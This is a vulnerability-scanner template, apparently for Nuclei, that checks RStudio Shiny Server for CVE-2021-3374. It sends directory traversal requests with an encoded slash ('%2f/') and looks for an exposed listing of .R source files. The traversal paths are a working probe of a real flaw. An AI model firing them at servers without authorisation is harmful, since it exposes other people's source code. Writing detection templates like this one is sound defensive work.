id: CVE-2021-3374

info:
  name: Rstudio Shiny Server Directory Traversal
  author: geeknik
  severity: medium
  description: Rstudio Shiny-Server prior to 1.5.16 is vulnerable to directory traversal and source code leakage. This can be exploited by appending an encoded slash to the URL.
  reference:
    - https://github.com/colemanjp/rstudio-shiny-server-directory-traversal-source-code-leak
    - https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
    - https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3374
    cwe-id: CWE-22
  tags: cve,cve2021,rstudio,traversal

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%2f/"
      - "{{BaseURL}}/sample-apps/hello/%2f/"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Index of /"
      - type: regex
        part: body
        regex:
          - "[A-Za-z].*\\.R"